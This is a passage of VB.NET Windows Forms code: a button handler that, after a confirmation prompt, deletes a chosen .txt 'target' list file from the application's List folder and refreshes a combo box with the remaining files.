  651.     Private Sub Button20_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button20.Click
  652.         Dim filelocation As String = ""
  653.         filelocation = Application.StartupPath & "\List\" & ComboBoxex3.Text & ".txt"
  654.         If File.Exists(filelocation) = False Then
  655.             MessageBox.Show("The file specified does not exsist", "File Not Found", MessageBoxButtons.OK)
  656.             Exit Sub
  657.         ElseIf File.Exists(filelocation) = True Then
  658.             If MessageBox.Show("Are you sure you would like to delete the selected target: " & ComboBoxex3.Text, "Prompt", MessageBoxButtons.YesNo) = Windows.Forms.DialogResult.No Then
  659.                 Exit Sub
  660.             End If
  661.         End If
  662.         File.Delete(filelocation)
  663.         Dim dir As New IO.DirectoryInfo(Application.StartupPath & "\List\")
  664.         Dim targetinfo As IO.FileInfo() = dir.GetFiles("*.txt")
  665.  
  666.         Dim fileName As IO.FileInfo
  667.         ComboBoxex3.Items.Clear()
  668.         For Each fileName In targetinfo
  669.             Dim filename1 As String = IO.Path.GetFileNameWithoutExtension(fileName.FullName)
  670.             ComboBoxex3.Items.Add(filename1)
  671.         Next
  672.     End Sub
  673.  
  674.  
  675. End Class
  676. 'use safe be safe lol